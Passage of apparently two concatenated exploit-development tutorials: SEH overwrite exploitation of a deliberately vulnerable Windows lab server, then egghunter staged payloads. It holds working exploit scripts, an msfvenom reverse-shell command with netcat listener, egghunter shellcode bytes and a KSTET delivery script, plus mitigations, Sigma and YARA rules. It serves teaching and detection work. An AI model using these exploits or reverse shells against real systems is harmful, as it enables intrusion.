When a hardware exception fires, the kernel’s nt!KiDispatchException builds an _EXCEPTION_RECORD and an _CONTEXT snapshot, then delivers it to user mode:
nt!KiDispatchException (kernel)
→ ntdll!KiUserExceptionDispatcher (first user-mode function called)
→ ntdll!RtlDispatchException
→ walks _EXCEPTION_REGISTRATION_RECORD chain
→ calls each Handler with four arguments:
ExceptionRecord, EstablisherFrame, ContextRecord, DispatcherContext
The handler signature every Handler pointer must match:
EXCEPTION_DISPOSITION NTAPI EXCEPTION_ROUTINE(
struct _EXCEPTION_RECORD *ExceptionRecord, // what happened
PVOID EstablisherFrame, // pointer to this SEH record on stack
struct _CONTEXT *ContextRecord, // full CPU state snapshot
PVOID DispatcherContext // internal use
);
Note that the value the handler returns is an EXCEPTION_DISPOSITION, a different enum from the __except filter constants in Section 1. Its values are ExceptionContinueExecution = 0, ExceptionContinueSearch = 1 (the common case – keep walking to the next record in the chain), ExceptionNestedException = 2, and ExceptionCollidedUnwind = 3. Don’t confuse these handler-return codes with the filter-return constants (EXCEPTION_EXECUTE_HANDLER, EXCEPTION_CONTINUE_SEARCH, EXCEPTION_CONTINUE_EXECUTION).
The EstablisherFrame argument is critical for exploitation – it’s a pointer to the _EXCEPTION_REGISTRATION_RECORD that’s being invoked. The OS passes it as the second argument, so at handler entry it sits at ESP+08 – above the dispatcher’s return address (ESP+00) and the ExceptionRecord pointer (ESP+04). Remember this.
4. Why Vanilla Overwrites Fail – and How POP/POP/RET Fixes It
Here’s where I burned most of my first afternoon with SEH exploitation, so let me save you the confusion.
You overflow a stack buffer, overwrite Handler with the address of your shellcode sitting further up the stack. The OS dispatches the exception, calls your “handler”… and it crashes in a completely different place. Two problems:
Register zeroing. Windows clears general-purpose registers before calling the handler. You can’t rely on
EAX,ECX, etc. pointing anywhere useful.Stack residency check.
RtlDispatchExceptionvalidates that the handler address does not fall within the thread’s stack range. PointingHandlerdirectly at stack shellcode gets rejected.
But the OS is about to hand you execution at a code address you control – if that address is in a loaded module (not the stack), it passes the check. And here’s the key insight: look at the stack layout when the handler is called:
ESP+00 → dispatcher return address
ESP+04 → pointer to ExceptionRecord
ESP+08 → pointer to EstablisherFrame (= address of the nSEH/SEH record on stack)
ESP+0C → pointer to ContextRecord
The key observation: EstablisherFrame at ESP+08 points back to the _EXCEPTION_REGISTRATION_RECORD we just overwrote. That’s our nSEH field. If we execute:
pop reg ; pops the dispatcher return address off the stack
pop reg ; pops the ExceptionRecord pointer off the stack
ret ; pops EstablisherFrame (the nSEH pointer) into EIP
After the two POPs, ESP points at what was originally ESP+08 – the EstablisherFrame pointer. RET then pops that value into EIP. Because EstablisherFrame is the address of our overwritten _EXCEPTION_REGISTRATION_RECORD, that value is the address of our nSEH field. So POP/POP/RET deterministically lands execution on the nSEH bytes we control – there’s nothing empirical or hand-wavy about it; it falls straight out of the handler calling convention. Set a breakpoint on the gadget and watch ESP – after POP/POP, the top of stack holds the address of nSEH.
So we put a short jump (\xeb\x06) in the nSEH field. Execution lands there, jumps 6 bytes forward (past the 4-byte SEH field plus 2 bytes of NOP alignment), and hits our shellcode.
](https://genxcyber.com/wp-content/uploads/2026/06/seh-exploit-development-windows-x86-internals-2-scaled.png)
5. Lab Setup: Building the Vulnerable Target
The Vulnerable Server
// vuln_seh_server.c — intentionally vulnerable lab target
// Compile (MSVC x86 Developer Prompt):
// cl /GS- /Od /Zi vuln_seh_server.c /link /SAFESEH:NO /DYNAMICBASE:NO /NXCOMPAT:NO ws2_32.lib
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
void handle_client(SOCKET s) {
char buf[512];
char recv_buf[2048];
int n = recv(s, recv_buf, sizeof(recv_buf) - 1, 0);
if (n > 0) {
recv_buf[n] = '\0';
if (strncmp(recv_buf, "GMON ", 5) == 0) {
__try {
strcpy(buf, recv_buf + 5); // no bounds check
printf("[+] GMON data: %.40s...\n", buf);
} __except (EXCEPTION_EXECUTE_HANDLER) {
printf("[!] Exception in GMON handler\n");
}
}
}
closesocket(s);
}
int main(void) {
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = { 0 };
addr.sin_family = AF_INET;
addr.sin_port = htons(9999);
addr.sin_addr.s_addr = INADDR_ANY;
bind(srv, (struct sockaddr *)&addr, sizeof(addr));
listen(srv, 5);
printf("[*] vuln_seh_server listening on TCP 9999\n");
for (;;) {
SOCKET c = accept(srv, NULL, NULL);
handle_client(c);
}
}
Compile flags explained:
| Flag | Effect |
|---|---|
/GS- | Disables stack cookies – no canary between locals and saved EBP |
/Od | No optimizations – keeps stack layout predictable |
/SAFESEH:NO | No SEHandlerTable in PE – any address accepted as handler |
/DYNAMICBASE:NO | ASLR disabled – module base is fixed across runs |
/NXCOMPAT:NO | DEP opt-out – stack pages are executable |
The __try/__except block guarantees an _EXCEPTION_REGISTRATION_RECORD sits on the stack above buf[512]. When strcpy overflows, it’ll reach that record.
If you want a separate non-SafeSEH DLL for gadget hunting (mirroring the classic essfunc.dll setup), compile a stub DLL the same way:
// labhelper.c — stub DLL, compile: cl /LD /GS- labhelper.c /link /SAFESEH:NO /DYNAMICBASE:NO
__declspec(dllexport) void helper_stub(void) { return; }
Load it in the server with LoadLibrary("labhelper.dll") before the listen loop.
6. Exploitation Walkthrough
Step 1 – Crash It
Send 2000 As and confirm the SEH chain is corrupted:
# crash_test.py
import socket
buf = b"GMON " + b"A" * 2000
s = socket.socket()
s.connect(("127.0.0.1", 9999))
s.send(buf)
s.close()
Attach Immunity Debugger before sending. After the crash, press Alt+S to view the SEH chain – you’ll see 41414141 in both nSEH and SEH. The overflow reaches the exception record.
Step 2 – Find the Exact Offset
msf-pattern_create -l 2000 > pattern.txt
Send the pattern instead of As. Read the nSEH and SEH values from Immunity’s SEH chain view. Suppose nSEH shows 41386941 and SEH shows 35694134:
msf-pattern_offset -l 2000 -q 41386941
# → Exact match at offset 524
msf-pattern_offset -l 2000 -q 35694134
# → Exact match at offset 528 (524 + 4, as expected)
Confirm with !mona findmsp in Immunity – it reports the SEH overwrite offset directly.
Step 3 – Validate Control
# validate.py
import socket
offset = 524
buf = b"GMON "
buf += b"A" * offset # junk to reach nSEH
buf += b"BBBB" # nSEH → should show 42424242
buf += b"CCCC" # SEH → should show 43434343
buf += b"D" * 500 # trailing space for shellcode
s = socket.socket()
s.connect(("127.0.0.1", 9999))
s.send(buf)
s.close()
Alt+S in Immunity: nSEH = 42424242, SEH = 43434343. Perfect control.
Step 4 – Locate a POP/POP/RET Gadget
!mona modules
Identify modules where SafeSEH, ASLR, and Rebase are all False – your compiled server and labhelper.dll should qualify. Then:
!mona seh -cp nonull -o
This searches for POP r32 / POP r32 / RET sequences in non-SafeSEH, non-ASLR modules, excluding addresses containing null bytes. Pick one – say 0x10101058 from labhelper.dll (POP ESI / POP EBX / RET).
Step 5 – Build the Payload
Generate shellcode – a reverse shell back to your attack box:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 \
-b "\x00" -f python --var-name shellcode
The final exploit layout:
[GMON ][A × 524][nSEH: \xeb\x06\x90\x90][SEH: gadget addr][NOP sled][shellcode]
# exploit_seh.py — full PoC against vuln_seh_server (lab target)
import socket, struct
# Replace with your msfvenom output
shellcode = (
b"\xba\x2e\xc0\xb1\xd8\xdb\xd0\xd9\x74\x24\xf4\x5e"
# ... (truncated — paste full msfvenom output here)
)
offset = 524
nseh = b"\xeb\x06\x90\x90" # JMP SHORT +6 over SEH field, 2 NOPs
seh = struct.pack("<I", 0x10101058) # POP ESI / POP EBX / RET in labhelper.dll
nops = b"\x90" * 16
payload = b"GMON "
payload += b"A" * offset
payload += nseh
payload += seh
payload += nops
payload += shellcode
s = socket.socket()
s.connect(("127.0.0.1", 9999))
s.send(payload)
s.close()
print("[*] Payload sent — check your listener")
Start your listener (nc -lvp 4444 or msfconsole with exploit/multi/handler), fire the exploit, and catch the shell.
Execution Flow Recap
strcpyoverflows pastbuf[512], corrupts the_EXCEPTION_REGISTRATION_RECORD.- Continued memory corruption triggers an access violation – new exception raised.
KiUserExceptionDispatcher→RtlDispatchExceptionfinds our overwrittenHandler.- Handler address (
0x10101058) is insidelabhelper.dll– passes the stack-residency check. POP ESI / POP EBX / RETexecutes. After two POPs, RET lands on the nSEH address.\xeb\x06(short jump forward 6 bytes) in nSEH hops over the 4-byte SEH field into the NOP sled.- Shellcode executes. Reverse shell connects to attacker.
7. Mitigations Deep-Dive
This is why the lab target had every protection disabled. In the real world, you’d face multiple overlapping defenses:
SafeSEH – The /SAFESEH linker flag embeds a SEHandlerTable in the PE’s IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG. At dispatch time, ntdll!RtlIsValidHandler checks the proposed handler against this table. If the handler falls within a SafeSEH-compiled module and isn’t in the table, it’s rejected. The classic bypass: find your POP/POP/RET gadget in a loaded module that wasn’t compiled with /SAFESEH – one forgotten third-party DLL is enough. SafeSEH is a 32-bit-only mechanism; 64-bit Windows uses table-based unwinding and never stores handlers on the stack.
SEHOP – Structured Exception Handler Overwrite Protection validates chain integrity before dispatching. The OS inserts a sentinel record at the chain tail and walks the entire chain at exception time to verify it terminates correctly. Since Next sits before Handler in memory, any overflow that corrupts Handler also corrupts Next, breaking the chain and failing SEHOP’s walk. Enable system-wide via:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation → DWORD 0
The combination of SEHOP with ASLR is what makes SEH overwrites genuinely difficult – even if you bypass the chain check, you can’t predict the gadget address.
DEP / NX – Stack pages marked non-executable. Our short-jump-to-shellcode payload faults immediately. Defeating DEP requires a ROP chain to call VirtualProtect() or VirtualAlloc() before executing shellcode – a significant increase in complexity.
/GS Stack Cookie – This one trips people up. The cookie check runs in the function epilogue, before RET. But an SEH overflow doesn’t need the function to return – the exception fires mid-function, before the cookie check ever runs. /GS does not protect against SEH overwrites. That’s precisely why /SAFESEH and SEHOP exist as separate mitigations.

8. Detection & Defense
Sysmon Events
| Event ID | Name | What to Watch For |
|---|---|---|
| 1 | Process Create | cmd.exe or powershell.exe spawned as child of vuln_seh_server.exe |
| 3 | Network Connection | Outbound TCP from server process to unusual port (4444, etc.) |
| 7 | Image Loaded | Unsigned DLL loaded into server process (Signed: false) |
| 10 | Process Access | Cross-process handle opens if exploit stages injection |
Sigma Rule
title: Reverse Shell from Network Service via SEH Exploit
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith:
- '\vuln_seh_server.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
condition: selection
fields:
- CommandLine
- ParentImage
- User
falsepositives:
- Legitimate admin maintenance scripts
level: high
A second rule for the network callback:
title: Outbound Connection from Exploited Service
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 3
Initiated: 'true'
Image|endswith: '\vuln_seh_server.exe'
DestinationPort:
- 4444
- 4443
- 1337
condition: selection
level: critical
Hardening Checklist
- Enable SEHOP via the registry key above – costs nothing, blocks vanilla SEH overwrites.
- Compile everything with
/SAFESEH,/GS,/DYNAMICBASE,/NXCOMPAT,/guard:cf. - Use
Set-ProcessMitigation -Name vuln_seh_server.exe -Enable SEHOP,DEP,ForceRelocateImagesfor per-app enforcement via Exploit Guard. - Audit with Event ID 4688 (
Audit Process Creation→ Success) to capture command lines of child processes. - Run network services under least-privilege accounts; enforce AppLocker/WDAC to block
cmd.exespawning from service paths.
9. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation of Remote Services | T1210 | Sysmon Event 3 (network), Event 1 (child process) |
| Exploitation for Client Execution | T1203 | Application crash logs (WER Event 1000/1001), Sysmon Event 1 |
| Exploitation for Privilege Escalation | T1068 | Unexpected SYSTEM-context child process from service |
| Windows Command Shell | T1059.003 | Sysmon Event 1 – cmd.exe spawned by network service |
| Process Injection (second stage) | T1055 | Sysmon Event 10 (ProcessAccess), Event 8 (CreateRemoteThread) |
| Impair Defenses: Disable or Modify Tools | T1562.001 | Registry modification of DisableExceptionChainValidation – Sysmon Event 13 |
MITRE ATT&CK does not have a dedicated sub-technique for SEH overwrites specifically – T1210 and T1203 are the closest Enterprise mappings.
10. Tools
| Tool | Purpose | Link |
|---|---|---|
| Immunity Debugger + mona.py | SEH chain inspection, gadget search (!mona seh) | immunityinc.com / github.com/corelan/mona |
| x64dbg (x32dbg) | Alternative debugger with SEH chain tab | x64dbg.com |
| WinDbg | !exchain, !teb, dt _EXCEPTION_REGISTRATION_RECORD | microsoft.com |
| Boofuzz | Network protocol fuzzing | github.com/jtpereyda/boofuzz |
Metasploit (pattern_create/pattern_offset) | Cyclic pattern offset calculation | metasploit.com |
msfvenom | Shellcode generation with bad-char exclusion | metasploit.com |
| ROPgadget | POP/POP/RET and ROP gadget search | github.com/JonathanSalwan/ROPgadget |
| Process Hacker | Runtime module and thread inspection | processhacker.sourceforge.io |
| Sysmon | Endpoint telemetry for detection | docs.microsoft.com |
Summary
- SEH records are 8-byte structures on the x86 stack – a
Nextpointer and aHandlerpointer, chained fromFS:[0]through the Thread Environment Block. The chain is the OS’s mechanism for structured exception dispatch, and its stack residency is exactly what makes it an exploitation target. - POP/POP/RET is not magic – it’s a direct consequence of the handler calling convention. The OS pushes
ExceptionRecordandEstablisherFramebefore calling the handler; two POPs clear them, and RET pivots execution to the nSEH address you control. /GSstack cookies do not protect SEH – the cookie check runs at function return, but the exception fires mid-function. SafeSEH and SEHOP exist specifically to fill this gap.- SEHOP + ASLR together are the effective kill – SEHOP breaks the chain walk, ASLR randomizes gadget addresses. Enable SEHOP system-wide via the
DisableExceptionChainValidationregistry key; it’s disabled by default on some client SKUs. - Detect the aftermath – Sysmon Events 1 and 3 catch the reverse shell spawning and calling home; Event 7 flags unsigned DLLs missing SafeSEH that made the gadget possible.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
Egghunters: Staged Payload Delivery When Buffer Space Is Tight
You’ve overwritten the SEH chain. The POP POP RET gadget drops you into a clean four-byte landing zone, the short jump carries you forward – and you count maybe 60 usable bytes before the buffer turns to garbage. Your stager is 350. That gap, between the space you control and the space your payload needs, is the entire reason egghunters exist.
An egghunter is a tiny piece of shellcode – roughly 32 bytes in its tightest form – whose only job is to walk the process’s virtual address space looking for a marker, then hand execution to whatever sits immediately after that marker. The real payload gets parked somewhere else in memory: a different request field, an HTTP header, the heap. Two stages, loosely coupled. The hunter is small enough to fit in the cramped overflow; the payload can be as large as you like, as long as it’s already resident when the hunter runs.
I’ll walk the mechanism, the two classic Windows implementations, the WoW64 wrinkle on modern Windows, and – because this is a defender’s site first – exactly how the technique lights up your telemetry.
1. Why Egghunters Exist
The technique traces back to Matt Miller (skape) and his survey of “safely searching process virtual address space.” The core insight: you can’t just dereference arbitrary addresses looking for your tag, because most of the address range is unmapped. Touch an unmapped page and you take an access violation, which by default kills the process. So the hunter needs a way to test a page for readability before it reads it.
The layout in memory looks like this:
small overflow buffer (~32-60B) elsewhere in the process
+---------------------------+ +-----------------------------+
| EGGHUNTER (the "hunter") | --scan-> | w00tw00t + full shellcode |
+---------------------------+ +-----------------------------+
finds the doubled tag, jmp to payloadTwo preconditions, both non-negotiable:
- At least ~32 reachable bytes to hold the hunter itself.
- The full payload must already be in memory when the hunter executes.
That second one bites people. If the payload isn’t resident yet, the hunter scans forever and pegs one CPU core at 100%. The first time I ran a KSTET egghunter I watched the target lock a core and assumed my opcode bytes were wrong. They weren’t – I’d sent the egg-tagged payload after the trigger instead of before, so there was nothing in memory to find. The hunter was working perfectly. It just had nothing to land on.
2. The Page-Walk Problem
x86 virtual memory is paged in 4 KB (0x1000) chunks. A page is either mapped (readable, possibly more) or unmapped (touching it faults). The egghunter exploits this granularity to scan efficiently and safely.
The trick is OR DX, 0x0FFF. That instruction forces the low 12 bits of the iterator register to all-ones, snapping EDX to the last byte of the current page. A following INC EDX rolls it over to the first byte of the next page. So when a page turns out to be invalid, the hunter doesn’t crawl byte-by-byte through 4096 bad addresses – it jumps straight to the next page boundary and probes again. Inside a valid page it advances one DWORD at a time looking for the tag.
The brief table of moving parts:
| Component | Detail |
|---|---|
| Memory iterator register | EDX holds the current scan address |
| Page-boundary jump | OR DX, 0x0FFF → end of page; INC EDX → start of next page |
| Validity probe | A syscall (or an SEH frame) tests whether the page is readable |
| Egg comparison | SCASD compares EAX to [EDI] and auto-increments EDI |
| Transfer to payload | JMP EDI once both halves of the egg match |

3. Anatomy of the Syscall Egghunter
The canonical 32-byte hunter uses the kernel as a page-validity oracle. It invokes NtAccessCheckAndAuditAlarm via the legacy INT 0x2E syscall gate and inspects the return: STATUS_ACCESS_VIOLATION (0xC0000005) means the page is bad, so skip it.
; --- 32-byte syscall egghunter (skape), egg = "w00t" ---
loop_inc_page:
or dx, 0x0fff ; EDX -> last byte of current 4KB page
loop_inc_one:
inc edx ; advance one byte (rolls into next page)
loop_check:
push edx ; save scan pointer (clobbered by syscall)
push 0x2 ; NtAccessCheckAndAuditAlarm syscall # (x86, XP-7)
pop eax ; -> EAX = 0x2 *** verify per OS, see j00ru ***
int 0x2e ; legacy syscall gate
cmp al, 0x05 ; low byte of STATUS_ACCESS_VIOLATION (0xC0000005)?
pop edx ; restore scan pointer
je loop_inc_page ; bad page -> skip to next page boundary
is_egg:
mov eax, 0x74303077 ; "w00t"
mov edi, edx ; EDI = current address
scasd ; compare [EDI] to EAX, EDI += 4
jnz loop_inc_one ; first half mismatch -> keep scanning
scasd ; compare the *second* half of the egg
jnz loop_inc_one
matched:
jmp edi ; EDI now points just past the doubled tagTwo SCASD instructions back to back are doing something specific: the tag is the 4-byte value repeated twice (eight bytes total). Requiring both halves to match makes a false positive vanishingly unlikely, and because SCASD auto-advances EDI, after the second success EDI already points at the byte after the egg – exactly where the payload begins. Skape’s IsBadReadPtr-based variant runs 37 bytes; an NtDisplayString variant is also 32 bytes and works identically – only the syscall number differs.
| Identifier | Value / Note |
|---|---|
| Syscall | NtAccessCheckAndAuditAlarm |
| Syscall number (x86 XP-7) | 0x02 |
| Invocation | INT 0x2E |
| Access-violation status | 0xC0000005 → CMP AL, 0x05 |
| Invalid-page action | JE loop_inc_page |
| Size | ~32 bytes |
Syscall numbers are OS-version specific.
0x02is stable on XP/Vista/7; Windows 10 moved the table and changed the argument layout. Always confirm against Mateusz “j00ru” Jurczyk’s table atj00ru.vexillium.org/syscalls/nt/64/for your exact target build.
4. The SEH-Based Variant
Rather than ask the kernel whether a page is valid, this approach installs a temporary Structured Exception Handler, reads memory blindly, and lets faults route into the handler – which simply advances the pointer and resumes. It runs around 60 bytes, but it carries no hardcoded syscall number, so it survives OS version drift better than the syscall hunter.
; --- SEH-based egghunter (illustrative, ~60 bytes) ---
; Register a handler so a read fault resumes scanning instead of crashing.
push handler ; EXCEPTION_REGISTRATION_RECORD.Handler
push dword [fs:0] ; .Next = current head of the SEH chain
mov [fs:0], esp ; install our frame as the new chain head
xor edx, edx ; scan pointer
scan_loop:
inc edx
mov edi, edx
mov eax, 0x74303077 ; "w00t"
scasd ; read [EDI]; faults route into 'handler'
jnz scan_loop
scasd ; confirm second half of the egg
jnz scan_loop
pop dword [fs:0] ; restore previous SEH frame
add esp, 4
jmp edi ; transfer to payload
handler: ; entered on STATUS_ACCESS_VIOLATION
; bump saved EDX in the CONTEXT past the bad page,
; return ExceptionContinueExecution, resume scan_loop
ret| Feature | Syscall variant | SEH variant |
|---|---|---|
| Size | ~32 bytes | ~60 bytes |
| Validity check | INT 0x2E → NtAccessCheckAndAuditAlarm | Custom FS:[0] handler |
| OS portability | Fragile (syscall # changes) | More portable |
| Detection surface | INT 0x2E is glaring | Quieter, but installs an SEH frame |
That detection-surface row matters from both chairs. The SEH hunter gets recommended as the “portable” choice, and it is – but the syscall hunter’s INT 0x2E is so unused by legitimate user-mode code that flagging it is nearly a free win for the blue team.
![Hierarchy diagram comparing the two classic egghunter variants: the 32-byte syscall hunter using INT 0x2E with OS-specific syscall numbers versus the 60-byte SEH hunter using a custom FS:[0] fault handler with better portability.](https://genxcyber.com/wp-content/uploads/2026/06/egghunter-staged-payload-delivery-tight-buffer-2.png)
5. Egg Tags and Bad Characters
The tag is a 4-byte value written twice. Common choices: w00tw00t (0x74303077), T00WT00W, b33fb33f, c0d3c0d3, ERCDERCD. Two independent constraints govern selection.
First, every byte of the hunter and the tag must avoid the vulnerable function’s bad characters – \x00, \x0A, \x0D are the usual suspects for string-based bugs, but the set is target-specific. Profile it before you commit to a tag.
Second, and easy to forget: the tag must be unique in process memory ahead of the payload. If the 4-byte value appears anywhere before your real payload – including elsewhere in your own crafted buffer – the hunter may jump there first and execute garbage. Scan your buffer before sending:
def egg_is_unique(buffer: bytes, tag: bytes) -> bool:
payload_at = buffer.find(tag * 2) # the real, doubled egg
earlier = buffer.find(tag) # any earlier single hit?
if earlier != -1 and earlier < payload_at:
print(f"[!] tag {tag!r} appears at offset {earlier} "
f"before the payload at {payload_at}")
return False
return TrueThe bad-character hunt itself is methodology, not a payload: send a known byte sequence, then diff the receiving buffer in the debugger against what you sent.
# Bad-character probe — compare against the in-memory dump in x64dbg/Immunity
allchars = bytes(range(1, 256)) # skip \x00 explicitly, test the rest
probe = b"A" * 66 + b"B" * 4 + allchars
# Any byte that is mangled, truncated, or terminates the string is "bad".6. WoW64 and Windows 10
Run a 32-bit egghunter on 64-bit Windows 10 and the old PoCs frequently misfire – the syscall table and ABI underneath WoW64 aren’t what the XP-era hunter expects. The working approach (Corelan published a tested version) uses Heaven’s Gate: transitioning a WoW64 thread from 32-bit to 64-bit mode to issue the real syscall.
The CS segment selector reveals the mode – 0x23 for 32-bit, 0x33 for 64-bit. The hunter checks it, then far-calls through FS:[0xC0] to cross into 64-bit code.
; --- WoW64 / Heaven's Gate egghunter (conceptual fragment) ---
mov ebx, cs ; read code-segment selector
cmp bl, 0x23 ; 0x23 = 32-bit (WoW64) execution?
; ... stage 64-bit syscall args ...
mov bl, 0xc0
call dword [fs:ebx] ; far call via FS:[0xC0] -> 64-bit mode
cmp al, 0x05 ; STATUS_ACCESS_VIOLATION low byte
je loop_inc_pageThe Exploit-DB WoW64 sample (45293) pushes 0x29 as the NtAccessCheckAndAuditAlarm number on a particular Windows 10 x64 build. Don’t copy that number blindly – verify it against j00ru’s table for your build, because it’s exactly the field that breaks between releases.
7. Wiring It Into an SEH Overflow
A typical delivery rides a standard SEH overwrite: nSEH gets a short jump forward, SEH gets a POP/POP/RET gadget that returns into nSEH, the short jump skips over the SEH record, and the hunter runs from there.
[ PADDING ][ nSEH: \xEB\x06\x90\x90 ][ SEH: pop/pop/ret addr ][ egghunter ]
... and the egg-tagged full payload lives in a SEPARATE field/request ...#!/usr/bin/env python3
# LAB ONLY — staged egghunter delivery skeleton (offsets/gadget are placeholders)
import socket
RHOST, RPORT = "192.168.56.20", 9999
egghunter = ( # 32-byte syscall hunter, tag "w00t"
b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
b"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)
nseh = b"\xeb\x06\x90\x90" # jmp +6 over the SEH record
seh = b"\x42\x42\x42\x42" # PLACEHOLDER pop/pop/ret (find per target)
egg = b"w00tw00t" # tag, doubled
payload = egg + b"\x90" * 16 + b"\xcc" # \xcc = test int3; swap for calc.exe popup in lab
trigger = b"A" * 66 + nseh + seh + egghunter
trigger += b"C" * (1000 - len(trigger))
with socket.create_connection((RHOST, RPORT)) as s:
s.recv(1024)
s.send(b"KSTET " + payload + b"\r\n") # 1) stage the egg-tagged payload first
s.send(b"KSTET " + trigger + b"\r\n") # 2) THEN trigger overflow + run hunter
Order matters – payload first, trigger second. Reverse it and you get the 100% CPU loop from section 1.
8. Lab: VulnServer KSTET
VulnServer’s KSTET command is the standard teaching target: its overflow leaves a constrained buffer that naturally forces a staged approach. The workflow:
- Attach VulnServer in Immunity Debugger or x64dbg.
- Fuzz
KSTET, find the offset to SEH control with a cyclic pattern. - Locate a clean
POP/POP/RETin a non-/SAFESEH, non-ASLR module. - Generate the hunter with mona:
!mona egg -t w00t(add-cto encode out bad chars). Mona can emit both SEH-based andNtAccessCheckAndAuditAlarm-based hunters. - Set a breakpoint on the
SCASD(\xAF) opcode and single-step to watchEDImarch toward the egg – this is the moment that makes the mechanism click.
Read the manual assembly alongside mona’s output. Treat mona as a generator, not a black box. Use a calc.exe/cmd.exe popup as the test payload – never real C2.
9. Detecting Egghunter Behavior
The hunter is loud if you’re listening. Two behavioral tells lead:
- A single thread pegged at 100%, particularly right after a crash-and-recover on a network service – the symptom of a hunter scanning with no resident payload.
NtAccessCheckAndAuditAlarmfired thousands of times in rapid succession, which no legitimate user-mode workload does. It surfaces in ETW syscall traces.
| Event ID | Name | Relevance |
|---|---|---|
1 | Process Creation | Baseline parent-child chain for the vulnerable service |
8 | CreateRemoteThread | Egg payload injecting; StartModule/StartFunction empty when the start address is outside loaded modules – a shellcode tell |
10 | ProcessAccess | Cross-process handles requesting PROCESS_VM_WRITE (0x0020), PROCESS_VM_OPERATION (0x0008), PROCESS_CREATE_THREAD (0x0002) |
25 | ProcessTampering | Sysmon 13+; in-memory image diverging from disk – hallmark of in-memory execution |
Default SwiftOnSecurity Sysmon config won’t catch CreateRemoteThread injection out of the box because of kernel32.dll exclusions – tune it before you rely on Event ID 8.
title: Remote Thread Start Address Outside Loaded Modules
id: 5a9d3e21-egg0-4c11-9f0a-shellcodeloader
status: experimental
logsource:
product: windows
category: create_remote_thread # Sysmon Event ID 8
detection:
selection:
StartModule: ''
StartFunction: ''
condition: selection
level: highPair that with Microsoft-Windows-Threat-Intelligence ETW (fires on WriteProcessMemory/CreateRemoteThread, needs PPL to consume) and audit policy: auditpol /set /subcategory:"Process Creation" /success:enable yields Security Event 4688 with command lines. And flag INT 0x2E in user mode wherever EDR or ETW lets you – it’s about as high-fidelity as indicators get.
YARA pins the syscall hunter’s opcode signature for memory forensics:
rule Egghunter_Syscall_x86 {
meta:
description = "skape NtAccessCheckAndAuditAlarm egghunter (~32 bytes)"
author = "GenXCyber"
strings:
$page_walk = { 66 81 CA FF 0F } // or dx, 0x0fff
$syscall = { CD 2E } // int 0x2e
$av_check = { 3C 05 } // cmp al, 0x05
$scasd = { AF } // scasd
condition:
all of them and (@syscall - @page_walk) < 32
}10. Tools for Egghunter Analysis
| Tool | Description | Link |
|---|---|---|
| mona.py | Generates/verifies egghunters (!mona egg) in Immunity | corelan.be |
| Immunity Debugger | Classic exploit-dev debugger, mona host | immunityinc.com |
| x64dbg | Free user-mode debugger for stepping the scan | x64dbg.com |
| VulnServer | Safe, intentionally vulnerable practice target | github.com |
| Process Hacker | Spot the 100% CPU thread and handle access | processhacker.sourceforge.io |
| Sysmon | EID 8/10/25 telemetry for shellcode behavior | microsoft.com |
| j00ru syscall table | Authoritative per-OS syscall numbers | j00ru.vexillium.org |
| osed-scripts (epi052) | Egghunter generator and OSED helpers | github.com |
11. Mitigations and Modern Reality
Egghunters were a 32-bit-era staple, and modern defenses have narrowed their utility considerably.
| Mitigation | Effect on the technique |
|---|---|
| DEP / NX | Payload on stack/heap won’t execute; primary kill switch for legacy targets |
| ASLR | Hardcoded POP/POP/RET addresses break; forces wider scans → more CPU and ETW noise |
| Control Flow Guard | Validates indirect targets; disrupts the final JMP EDI when enforced |
| GS / stack canaries | Don’t stop the hunter, but can stop the overflow that delivers it |
| App sandboxing | Limits post-execution blast radius |
The technique still earns its place in OSED-style coursework and against unhardened legacy 32-bit software – which is exactly where you find it in real engagements.
12. MITRE ATT&CK Mapping
Egghunters are delivery scaffolding, not a post-exploitation tactic. There’s no ATT&CK sub-technique for “egghunter,” and you shouldn’t invent one. It sits upstream of the payload, in the exploitation-and-loading layer. Map the surrounding behavior:
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | Service crash/recover, EID 1 anomalies |
| Process Injection | T1055 | Sysmon EID 8/10, TI ETW |
| Process Injection: DLL Injection | T1055.001 | EID 8 with empty StartModule |
| Reflective Code Loading | T1620 | In-memory PE, EID 25 ProcessTampering |
| Obfuscated Files or Information | T1027 | Encoded egg payload, YARA on decoder stubs |
| Sandbox Evasion: Time Based | T1497.003 | CPU-spike artifact in sandboxes |
Summary
- An egghunter is a ~32-byte stage-1 stub that scans process memory for a doubled tag and jumps to the stage-2 payload – the answer to “my buffer is too small for real shellcode.”
- The hunter walks memory page-by-page (
OR DX, 0x0FFF), validates each page viaNtAccessCheckAndAuditAlarm/INT 0x2E(or an SEH frame), and confirms the egg with two consecutiveSCASDinstructions beforeJMP EDI. - The payload must already be resident when the hunter runs; otherwise it loops and pegs a CPU core – a behavioral indicator in its own right.
- Syscall numbers are OS-version specific (verify against j00ru) and WoW64 needs Heaven’s Gate, so portability is the real-world friction.
- Detect it via the
INT 0x2Eanomaly, rapidNtAccessCheckAndAuditAlarmbursts, Sysmon EID 8 threads with emptyStartModule, EID 25 tampering, and a YARA signature on the canonical opcode window – and mitigate upstream with DEP, ASLR, and CFG.
Related Tutorials
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Classic Stack Buffer Overflow: Smashing the Stack on Windows
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
